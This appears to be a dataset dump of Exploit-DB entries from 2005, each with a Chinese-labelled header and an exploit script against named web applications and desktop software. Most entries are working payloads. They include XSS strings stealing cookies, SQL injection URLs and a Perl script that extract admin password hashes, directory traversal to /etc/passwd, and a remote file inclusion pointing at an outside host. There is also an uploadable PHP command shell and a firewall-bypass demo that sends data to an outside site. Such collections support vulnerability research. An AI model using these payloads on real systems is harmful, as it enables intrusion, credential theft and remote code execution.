QLWD/code_shield huggingface dataset:
标题: PHPList Mailing List Manager 2.x - '/admin/eventlog.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26483 CVE: 2005-3556 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15350/info
  
PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.
  
The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=eventlog&s=0&filter="><script>alert(document.cookie)</script>
http://www.example.com/lists/admin/?page=eventlog&start=&delete="><script>alert(document.cookie)</script>
http://www.example.com/lists/admin/?page=eventlog&start="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26483
标题: SAP Web Application Server 6.x/7.0 - 'frameset.htm?sap-syscmd' Cross-Site Scripting EDB-ID: 26487 CVE: 2005-3635 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/15361/info
 
SAP Web Application Server is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
This issue only affects the BSP runtime of SAP WAS. 

http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert('xss')%3C/script%3E URL: https://www.exploit-db.com/exploits/26487
标题: Emacs 2.1 - Local Variable Arbitrary Command Execution EDB-ID: 26492 CVE: 2003-1232 类型: LOCAL 平台: LINUX 发布日期: 2002-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/15375/info

Emacs is susceptible to an arbitrary command execution vulnerability with local variables. This issue is due to insufficient sanitization of user-supplied input.

By modifying a text file to include local variables containing containing shell commands in an 'eval' statement, attackers may cause arbitrary commands to be executed.

This vulnerability allows an attacker to execute arbitrary commands with the privileges of the emacs user. This gives an attacker the ability to gain remote access to computers running the vulnerable software.

/* -*- Mode: text; tab-width:20; Eval: Mode -*- -*- forms -*- */

Emacs better than windoze.

;;; Local Variables: ***
;;; mode: text ***
;;; mode-name: #("Microsoft sux" 0 4 (display (when (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) ) ***
;;; comment-start: ";;; " ***
;;; comment-end:"***" ***
;;; End: *** URL: https://www.exploit-db.com/exploits/26492
标题: PHPList Mailing List Manager 2.x - '/admin/configure.php?id' Cross-Site Scripting EDB-ID: 26484 CVE: 2005-3556 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15350/info
   
PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.
   
The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=configure&id="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26484
标题: OSTE 1.0 - Remote File Inclusion EDB-ID: 26476 CVE: 2005-3558 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15340/info

OSTE is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.


http://www.example.com/index.php?page=http://evilcode?&cmd=

or http://www.example.com//?site=evilcode?&cmd= URL: https://www.exploit-db.com/exploits/26476
标题: PHPList Mailing List Manager 2.x - '/admin/admin.php?id' SQL Injection EDB-ID: 26481 CVE: 2005-3555 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15350/info

PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.

The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=admin&id=1'[SQL] URL: https://www.exploit-db.com/exploits/26481
标题: ToendaCMS 0.6.1 - 'admin.php' Directory Traversal EDB-ID: 26480 CVE: 2005-3550 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15348/info

toendaCMS is reported prone to a directory traversal vulnerability. It is demonstrated that this issue may be leveraged to disclose the contents of arbitrary web-server readable files.

A remote attacker may exploit this vulnerability to reveal files that contain potentially sensitive information.

Version 2.1 is vulnerable; earlier versions may also be vulnerable. 

http://www.example.com/engine/admin/admin.php?id_user=
../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/26480
标题: Asterisk 0.x/1.0/1.2 Voicemail - Unauthorized Access EDB-ID: 26475 CVE: 2005-3559 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15336/info

Asterisk is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly verify user-supplied input.

Successful exploitation will grant an attacker access to a victim user's voicemail and to any '.wav/.WAV' files currently on the affected system. 

http://www.example.org/cgi-bin/vmail.cgi?action=audio&folder=../201/INBOX&mailbox=200&context=default&password=12345&msgid=0001&format=wav URL: https://www.exploit-db.com/exploits/26475
标题: JPortal Web Portal 2.2.1/2.3.1 - 'comment.php' SQL Injection EDB-ID: 26469 CVE: 2005-3509 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/15324/info

JPortal is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being used in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/comment.php?what=news&id=<news id>
and 1=0 union (select null, null, nick, null, null, null, null, null, null,
null, null, null from admins limit n,1)
got admin nick

http://www.example.com/comment.php?what=news&id=<news id>
and 1=0 union (select null, null, pass, null, null, null, null, null, null,
null, null, null from admins limit n,1)
got md5 password URL: https://www.exploit-db.com/exploits/26469
标题: Ocean12 ASP Calendar Manager 1.0 - Authentication Bypass EDB-ID: 26473 CVE: 2005-4657 类型: WEBAPPS 平台: ASP 发布日期: 2005-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/15329/info

Ocean12 ASP Calendar Manager is prone to an authentication bypass vulnerability. This is due to to an access validation error in the application.

The application does properly verify access privileges and allows the attacker to gain access to restricted data.

Version 1.01 is affected; other versions may also be vulnerable.

http://www.example.com/admin/view.asp URL: https://www.exploit-db.com/exploits/26473
标题: PHPFM - Arbitrary File Upload EDB-ID: 26474 CVE: 2005-4423 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15335/info

PHPFM is prone to an arbitrary file upload vulnerability.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

---------------
<pre>
<?
passthru($_GET['cmd']);
?>>

save as > cmd.php
now upload in PHPFM


http://www.esxample.com/[file upload name]/[files]/cmd.php?cmd=[command linux] URL: https://www.exploit-db.com/exploits/26474
标题: CuteNews 1.4.1 - 'template' Traversal Arbitrary File Access EDB-ID: 26466 CVE: 2005-3507 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15295/info
 
CuteNews is affected by a directory traversal vulnerability.
 
An unauthorized attacker can retrieve or upload arbitrary files by supplying directory traversal strings '../' through an affected URI parameter.
 
Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. Information obtained through this attack may aid in further attacks against the underlying system.
 
An attacker may also upload arbitrary scripts, which may be subsequently executed leading to a remote compromise in the context of the server.
 
CuteNews 1.4.1 is reported to be vulnerable to this issue. Other versions may be affected as well.

http://www.example.com/cute141/show_news.php?template=../../../../../../../../boot.ini%00
http://www.example.com/cute141/show_news.php?template=../../../../../../../../[script] URL: https://www.exploit-db.com/exploits/26466
标题: Zone Labs Zone Alarm 6.0 - Advance Program Control Bypass EDB-ID: 26479 CVE: 2005-3560 类型: LOCAL 平台: WINDOWS 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15347/info

Zone Labs Zone Alarm is prone to a weakness that permits the bypassing of the Advanced Program Control protection.

Reports indicate that applications can create a modal dialog box displaying HTML, which can then be redirected to a remote site.

This would allow a malicious program to bypass Advanced Program Control protection and send data to a remote attacker from a compromised computer.

It should be noted that this issue only presents itself if the Advanced Program Control setting has been enabled and the browser has been authorized to access the Internet. 

<<< osfwbypass-demo.c >>>

BOOL LoadHtmlDialog(void)
{
HINSTANCE hinstMSHTML = LoadLibrary(TEXT("MSHTML.DLL"));

if (hinstMSHTML)
{
SHOWHTMLDIALOGFN* pfnShowHTMLDialog;

// Open a Modal Dialog box of HTML content type
pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)GetProcAddress(hinstMSHTML,
TEXT("ShowHTMLDialog"));

if (pfnShowHTMLDialog)
{
IMoniker *pURLMoniker;

// Invoke the html file containing the data to be sent via http
BSTR bstrURL = SysAllocString(L"c:\\modal-dialog.htm");
CreateURLMoniker(NULL, bstrURL, &pURLMoniker);

if (pURLMoniker)
{
(*pfnShowHTMLDialog)(NULL, pURLMoniker, NULL, NULL, NULL);
pURLMoniker->Release();
}

SysFreeString(bstrURL);
}

FreeLibrary(hinstMSHTML);
}

Return True;
}

<<< +++ >>>


<<< modal-dialog.htm >>>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<title>Redirection Dialog</title>

<script language="JavaScript">

<!-- Here goes the information logged by the malicious program which will
be sent to the evil site via http request -->
var sTargetURL =
"http://www.hackingspirits.com/vuln-rnd/demo/defeat-osfw.asp?[Your
Information Here]
window.location.href = sTargetURL;
window.close;
</script>

</head>
</html>
<<< +++ >>> URL: https://www.exploit-db.com/exploits/26479
标题: Invision Power Board (IP.Board) 2.1 - 'admin.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26478 CVE: 2005-3547 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15344/info

Invision Power Board is prone to multiple cross-site scripting vulnerabilities.
These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 2.1 is vulnerable; earlier versions may also be affected. 

http://www.example.com/2p1p0b3/upload/admin.php?adsess=[xss]&act=login&code=login-complete

http://www.example.com/2p1p0b3/upload/admin.php?adsess=[id]&section=content&act=forum&code=new&name=[xss]

http://www.example.com/2p1p0b3/upload/admin.php?name=[xss]&description=[xss] URL: https://www.exploit-db.com/exploits/26478
标题: Galerie 2.4 - 'showgallery.php' SQL Injection EDB-ID: 26468 CVE: 2005-3508 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15313/info

Galerie is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

#!/bin/env perl
#------------------------------------------------------------#
#-      Warning :- (ABDUCTER) Behind U BY (ABDUCTER_MINDS@S4A.CC) OR (ABDUCTER_MINDS@YAHOO.COM)
#-      [!]     ==|| Gallery_v2.4 SQL Injection ||==
#-              Gr33tz :-
#-                      N0N0 (MY LOVE)
#-                      WWW.S4A.CC
#-                      Devil-00
#-                      FOR ALL ARABIAN COUNTRIES
#------------------------------------------------------------#
use LWP::Simple;

print "\n\n==========================================\n";
print "\n= Exploit for Gallery_v2.4                    ";
print "\n=   BY    |(ABDUCTER_MINDS[at]YAHOO.COM)|     ";
print "\n=             FOR ALL ARAB WWW.S4A.CC         ";
print "\n============================================\n\n";

if(!$ARGV[0] or !$ARGV[1]) {
  print "\n==|| Warning ABDUCTER Behind U ||==";
  print "\nUsage:\nperl $0 [host+script]\n\nExample:\nperl $0 http://tonioc.free.fr/gallery/ 1\n";
  exit(0);
}
$url = "/showGallery.php?galid=-1%20UNION%20SELECT%20id,null,null,passw,null,nick,null,null,null,null,nick,null%20FROM%20users%20WHERE%20id=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/<SPAN class="strong"><b>(.*?)<\/b>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1); URL: https://www.exploit-db.com/exploits/26468
标题: JPortal Web Portal 2.2.1/2.3.1 - 'news.php' SQL Injection EDB-ID: 26470 CVE: 2005-3509 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/15324/info
 
JPortal is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being used in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/news.php?id=<newsid>%20AND%200%20=%201%20UNION%20SELECT%20*,%201,%201,%201,%201%20FROM%20admins%20-- URL: https://www.exploit-db.com/exploits/26470
标题: XMB Forum 1.9.3 - 'u2u.php' Cross-Site Scripting EDB-ID: 26477 CVE: 2005-3544 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15342/info

XMB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. A successful exploit could allow an attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/u2u.php?action=send&username=[code] URL: https://www.exploit-db.com/exploits/26477
标题: Simple PHP Blog 0.4 - 'preview_static_cgi.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26462 CVE: 2005-3473 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15283/info
 
Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/26462
标题: Simple PHP Blog 0.4 - 'colors.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26463 CVE: 2005-3473 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15283/info
  
Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>
<input name="scheme_file" value="blabla"/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value="myscheme"/>
<input name="scheme_file" value="blabla"/>
<input name="bg_color" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/26463
标题: CuteNews 1.4.1 - 'show_archives.php' Traversal Arbitrary File Access EDB-ID: 26465 CVE: 2005-3507 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15295/info

CuteNews is affected by a directory traversal vulnerability.

An unauthorized attacker can retrieve or upload arbitrary files by supplying directory traversal strings '../' through an affected URI parameter.

Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. Information obtained through this attack may aid in further attacks against the underlying system.

An attacker may also upload arbitrary scripts, which may be subsequently executed leading to a remote compromise in the context of the server.

CuteNews 1.4.1 is reported to be vulnerable to this issue. Other versions may be affected as well.

http://www.example.com/cute141/show_archives.php?template=../../../../../../../../boot.ini%00
http://www.example.com/cute141/show_archives.php?template=../../../../../../../../[script] URL: https://www.exploit-db.com/exploits/26465
标题: IPSwitch WhatsUp Small Business 2004 Report Service - Directory Traversal EDB-ID: 26464 CVE: 2005-1939 类型: REMOTE 平台: WINDOWS 发布日期: 2005-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/15291/info

IPSwitch WhatsUp Small Business 2004 is prone to a directory traversal vulnerability. Successful exploitation could allow a remote attacker to gain access to files outside the Web root. Sensitive information may be obtained in this manner. 

http://[address of server]:8022/../../../../../../../../../../../boot.ini URL: https://www.exploit-db.com/exploits/26464
标题: News2Net 3.0 - 'index.php' SQL Injection EDB-ID: 26458 CVE: 2005-3469 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15274/info

News2Net is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/news2net/index.php?category=[SQL] URL: https://www.exploit-db.com/exploits/26458
标题: VUBB - 'index.php' Cross-Site Scripting EDB-ID: 26455 CVE: 2005-3512 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15260/info

VUBB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/index.php?act=newreply&t='>%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E&f=6 URL: https://www.exploit-db.com/exploits/26455
标题: PHPWebThings 0.4.4 - 'forum.php' Cross-Site Scripting EDB-ID: 26459 CVE: 2005-3584 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/15276/info

phpWebThings is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

phpWebThings version 1.4.4 is affected; other versions may also be vulnerable. 

http://www.example.com/forum.php?forum='><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26459
标题: Microsoft Internet Explorer 6 - Malformed HTML Parsing Denial of Service (1) EDB-ID: 26457 CVE: 2005-4717 类型: DOS 平台: WINDOWS 发布日期: 2005-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/15268/info

Microsoft Internet Explorer is affected by a denial of service vulnerability. This issue arises because the application fails to properly parse certain malformed HTML content.

An attacker may exploit this issue by enticing a user to visit a malicious site resulting in a denial of service condition in the application.

Few details are available at this time; this BID will be updated as further information is disclosed. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/26457.zip URL: https://www.exploit-db.com/exploits/26457